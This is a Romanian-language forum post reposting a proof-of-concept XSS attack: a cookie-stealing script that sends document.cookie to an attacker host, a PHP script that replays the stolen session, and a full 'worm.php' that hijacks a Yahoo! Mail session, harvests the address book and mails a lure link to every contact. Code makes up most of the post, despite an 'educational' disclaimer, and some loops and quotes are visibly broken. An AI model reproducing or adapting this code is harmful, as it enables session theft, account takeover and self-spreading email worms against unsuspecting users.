Atacul XSS de impersonare / Vierme Yahoo! Mail PoC

Vezi subiectul anterior Vezi subiectul urmator In jos

Atacul XSS de impersonare / Vierme Yahoo! Mail PoC

Mesaj  zooky la data de Sam Mar 21, 2009 11:59 am

Autor: SlicK
Site: http://www.rstzone.net/
Data: 1 Mai 2007
Disclaimer: Acesta este un PoC si a fost creat numai in scopuri educationale
Autorul(eu) nu poate fi considerat responsabil daca PoC-ul nu functioneaza
sau este folosit in alte scopuri decat cele de mai sus.


PARTEA 1: Descriere

Folosind atacuri Cross Site Scripting(XSS) devine posibila impersonarea unui utilizator
legitim(victima) care este autentificata pe un website(tinta)

In acest document vom presupune ca site-ul tinta are o vulnerabilitate XSS
care ii permite unui atacator sa injecteze cod rau intentionat intr-o pagina.


Aceasta este secventa de pasi implicate in acest tip de atac


1. Victima se autentifica pe site-ul tinta
2. Atacatorul ii trimite victimei un link spre o pagina(continand cod rau intentionat)
de pe site-ul tinta
3. Victima navigheaza catre pagina
4. Codul continut in acea pagina incarca un script din alta locatie trimitand spre
acesta si cookiul victimei
5. Scriptul foloseste acest cookie pozand drept victima pe site-ul tinta


Exemplificare:

Presupunem ca victima este deja autentificata pe site-ul tinta

Tinta are o vulnerabilitate XSS de forma http://www.tinta.com/pagina.php?var=

Atacatorul ii trimite victime link-ul
"http://www.tinta.com/pagina.php?var="

Atuncti cand victima urmeaza linkul scriptul "js.js" este incarcat si executat de browserul acestuia

===== js.js =====

new Image().src='http://www.atacator.com/php.php?cookie= '+escape(document. cookie);

=================

Fisierul "js.js" contine un cod care face un request catre fisierul "php.php" de asemenea
controlat de atacator

===== php.php =====


$domain=".target.com"; // domeniul pentru cookie

$cookie=$_GET['cookie'];

//creeam fisierul cookie presupunand ca cookiul sesiunii are mai multe secvente "nume=valoare; "

$hcook=fopen("cookie.txt","w");
$params=split('; ',$cookie);
for($i=0; $i
{
$eqpos=strpos($params[$i],"=");
$name =substr($params[$i],0,$eqpos);
$value=substr($params[$i],$eqpos+1,strlen($params[$i]));
fwrite($hcook,$domain. " TRUE / FALSE 9999999999 ".$name." ".$value." ");
}
fclose($hcook);

// facem orice request curl folosind "cookie.txt" ca CURLOPT_COOKIEFILE si CURLOPT_COOKIEJAR

?>

Fisierul "php.php" este esenta acestui tip de atac.
Acesta ia cookie-ul victimei si il foloseste incat se poate da drept victima
pe site-ul tinta
Motivul folosiri unui script php in locul unuia javascript este acela ca in acest mod
putem trece de politica aceleiasi origini a javascriptului avand posibilitatea de
a face requesturi catre ORICE domeniu unde cookie-ul este valid
Mai mult putem primi si trimite date catre site-ul tinta manipulandu-le in orice mod.



>>PARTEA 2: Vierme Yahoo! Mail PoC

Presupunem ca Yahoo! are o vulnerabilitate XSS de forma "http://xxx.yahoo.com/pagina?var="

1. Atacatorul ii trimite victimei un email continand un link catre
http://xxx.yahoo.com/pagina?var=
2. Victima urmeaza link-ul
3. Fisierul "worm.php" ii fura victimei cookie-ul si folosindu-se de el trimite un email
catre toate persoanele din Address Book-ul victimei
4. Persoanele din Address Book devin la randul lor victime atunci cand urmeaza link'ul
din emailul trimis de vierme care aparent vine de la victima


===== worm.php =====


$subject="Link pentru tine"; // subiectul mesajului
$message ="Uite un link cool: click me"; // corpul mesajului

// eliminam nevoia de a folosi un fisier "js.js" verificand valoare parametrului "cookie"
// daca nu exista tiparim continutul fisierului "js.js"
// iara daca exista continuam cu codul "php.php"

if(!isset($_GET['cookie']))
{
$scripturl="http://".$HTTP_HOST.$REQUEST_URI;
print("new Image().src='".$scripturl."?cookie='+escape(document. cookie);");
}
else
{
$cookie=$_GET['cookie'];

// cream un nume unic de fisier unde sa salvam cookiul asigurandu'ne astfel
// ca atunci cand mai multe victime acceseaza simultan scriptul cookie'urile
// lor nu se vor incurca
$cookiefile=rand(100,999).".txt";


// creeam fisierul cookie

$hcook=fopen($cookiefile,"w");
$params=split('; ',$cookie);
for($i=0; $i
{
$eqpos=strpos($params[$i],"=");
$name =substr($params[$i],0,$eqpos);
$value= substr($params[$i],$eqpos+1,strlen($params[$i]));
fwrite($hcook,".yahoo.com TRUE / FALSE 9999999999 ".$name." ".$value." ");
}
fclose($hcook);

// incarcam address book'ul Yahoo! pentru a extrage datele despre contacte si a crea o variabila
// de forma "contact1@yahoo.com,contact2@yahoo.com, etc.." ,de asemenea gasirea domeniului
// us.fXXX.mail.yahoo.com care se schimba la fiecare autentificare


$address=curl("http://address.mail.yahoo.com/","",$cookiefile);
if(strpos($address,"Yahoo! Address Book")==true) // daca pagina a fost incarcata corect
{
$apage=explode(" ",$address);
foreach($apage as $line_num => $aline)
{
if(strstr($aline,"ymsgr:sendIM"))
{
$ex =explode("?",$aline);
$ex2=explode(""",$ex[1]);
$id=$ex2[0];
$to=$to.$ex2[0]."@yahoo.com,";
}
if(strstr($aline,"Compose"))
{
$ex3=explode("/",$aline);
$domain="http://".$ex3[2];
}
}
}

// incarcam formularul "Compose" aflat pe us.fXXX.mail.yahoo.com pentru a gasi actiunea formularului
// de trimitere email si valoarea parametrului ".crumb" de care avem nevoie pentru a trimite mesajele


if(strlen($to)>0 && strlen($domain)>0) // daca avem cele doua variabile
{
$compose= curl($domain."/ym/Compose?","",$cookiefile);
if(strpos($compose,"Yahoo! Mail")==true) // daca pagina a fost incarcata corect
{
$cpage=explode(" ",$compose);
foreach($cpage as $line_num => $cline)
{
if(strstr($cline,"form name="Compose""))
{
$ex4=explode(""",$cline);
$action=$ex4[5];
}
if(strstr($cline,".crumb"))
{
$ex6=explode(""",$cline);
$crumb=$ex6[3];
}
}
}

if(strlen($action)>0 && strlen($crumb)>0) // daca avem cele doua variabile
{

$subject=str_replace(" ","+",$subject);
$message=str_replace(" ","+",$message);

// generam POSTFIELDS pentru curl

$post ="SEND=1&SD=&SC=&CAN=&docCharset= iso-8859-1&PhotoMailUser=&PhotoToolInstall=&";
$post.="OpenInsertPhoto=&PhotoGetStart= 0&SaveCopy=no&PhotoMailInstallOrigin=&";
$post.="box=&.crumb=".$crumb."&";
$post.="FwdFile=&FwdMsg=&FwdSubj=&FwdInline= &OriginalFrom=&OriginalSubject=&";
$post.="InReplyTo=&NumAtt=0&AttData=&UplData= &OldAttData=&OldUplData=&FName=&";
$post.="ATT=&VID=&Markers=&NextMarker= 0&Thumbnails=&PhotoMailWith=&BrowseState=&";
$post.="PhotoIcon=&ToolbarState=&VirusReport= &Attachments=&BGRef=&BGDesc=&BGDef=&";
$post.="BGFg=&BGFF=&BGFS=&BGSolid=&BGCustom= &PlainMsg=&PhotoFrame=&PhotoPrintAtHomeLink=&";
$post.="PhotoSlideShowLink=&PhotoPrintLink= &PhotoSaveLink=&PhotoPermCap=&PhotoPermPath=&";
$post.="PhotoDownloadUrl=&PhotoSaveUrl= &PhotoFlags=&start=compose&bmdomain=&hidden=showcc&";
$post.="showbcc=&AC_Done=&AC_ToList= &AC_CcList=&AC_BccList=&sendtop=Send&";
$post.="savedrafttop=Save+as+a+Draft&canceltop= Cancel&To=".$to."&Cc=&Bcc=&";
$post.="Subj=".$subject."&Body=".$message."&Format= html&SigAtt=1&sendbottom=Send&";
$post.="savedraftbottom=Save+as+a+Draft&cancelbottom=Cancel&";

// trimitem mailurile
$mail=curl($domain.$action,$post,$cookiefile);

}
}
unlink($cookiefile);
}

function curl($url,$post='',$cookiefile) // functie pentru usurarea request'urilor curl
{
$rand=rand(100000,400000);
$agent="Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/".$rand." Netscape/7.1 (ax)";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT,$agent);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
if($post!=='')
{
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
}
curl_setopt($ch,CURLOPT_COOKIEFILE,$cookiefile);
curl_setopt($ch,CURLOPT_COOKIEJAR,$cookiefile);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);
$result=curl_exec($ch);
curl_close($ch);
if($result=="") { curl($url,$post); } else { return $result; }
}

?>

===================

Impactul acestui tip de vierme poate fi urias avand in vedere ca mesajul email trimis de vierme
pare ca vine de la o persoana pe care victima o cunoaste si in care are incredere.
avatar
zooky
Moderator
Moderator

Numarul mesajelor : 147
Data de inscriere : 15/03/2009
Varsta : 24
Localizare : Cernatesti City

Vezi profilul utilizatorului http://e-learning.forumhit.ro

Sus In jos

Vezi subiectul anterior Vezi subiectul urmator Sus


 
Permisiunile acestui forum:
Nu puteti raspunde la subiectele acestui forum